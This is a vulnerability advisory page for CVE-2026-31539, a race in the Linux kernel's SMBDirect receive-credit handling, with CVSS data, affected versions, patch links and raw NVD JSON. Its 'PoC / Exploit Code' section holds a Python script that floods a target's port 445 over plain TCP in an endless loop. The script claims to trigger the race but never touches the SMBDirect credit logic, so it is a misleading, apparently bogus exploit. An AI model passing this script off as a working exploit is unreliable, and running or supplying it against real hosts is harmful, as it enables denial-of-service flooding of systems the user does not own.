CVE-2026-31539

Description

In the Linux kernel, the following vulnerability has been resolved: smb: smbdirect: introduce smbdirect_socket.recv_io.credits.available The logic off managing recv credits by counting posted recv_io and granted credits is racy. That's because the peer might already consumed a credit, but between receiving the incoming recv at the hardware and processing the completion in the 'recv_done' functions we likely have a window where we grant credits, which don't really exist. So we better have a decicated counter for the available credits, which will be incremented when we posted new recv buffers and drained when we grant the credits to the peer.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Versions prior to commit 6e3c5052f9686192e178806e017b7377155f4bab)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import sys

# Conceptual Proof of Concept for CVE-2026-31539
# This script attempts to stress the SMBDirect credit mechanism.
# Note: This requires a vulnerable environment and specific network conditions.

def exploit_smbdirect_race(target_ip, target_port=445):
    try:
        print(f"[*] Connecting to {target_ip}:{target_port}...")
        # Establishing TCP connection to SMB port
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_ip, target_port))
        
        print("[+] Connection established.")
        print("[*] Flooding packets to trigger the race condition in recv_io credits...")
        
        # Sending data rapidly to stress the recv buffer and credit logic
        payload = b"\x00\x00\x00\x00" + b"A" * 100
        
        while True:
            try:
                s.send(payload)
            except socket.error:
                break
                
    except Exception as e:
        print(f"[-] An error occurred: {e}")
    finally:
        s.close()
        print("[*] Exploit attempt finished.")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve_2026_31539.py <TARGET_IP>")
    else:
        exploit_smbdirect_race(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31539
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31539
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31539/
[4] VulDB https://vuldb.com/cve/CVE-2026-31539
[5] https://git.kernel.org/stable/c/6e3c5052f9686192e178806e017b7377155f4bab
[6] https://git.kernel.org/stable/c/e811e60e1cc79923c4388146eb1fa26a7482731e
[7] https://git.kernel.org/stable/c/f99996870222b598914a1f49d7375dc23752c237

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31539", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:27.843", "lastModified": "2026-04-28T18:54:11.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: smbdirect: introduce smbdirect_socket.recv_io.credits.available\n\nThe logic off managing recv credits by counting posted recv_io and\ngranted credits is racy.\n\nThat's because the peer might already consumed a credit,\nbut between receiving the incoming recv at the hardware\nand processing the completion in the 'recv_done' functions\nwe likely have a window where we grant credits, which\ndon't really exist.\n\nSo we better have a decicated counter for the\navailable credits, which will be incremented\nwhen we posted new recv buffers and drained when\nwe grant the credits to the peer."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.11", "matchCriteriaId": "1D06FE45-F85F-4F59-A12C-C72C3C580DA4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.1", "matchCriteriaId": "EE543C0D-A06B-414F-A403-CB1E088F261E"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6e3c5052f9686192e178806e017b7377155f4bab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e811e60e1cc79923c4388146eb1fa26a7482731e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f99996870222b598914a1f49d7375dc23752c237", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}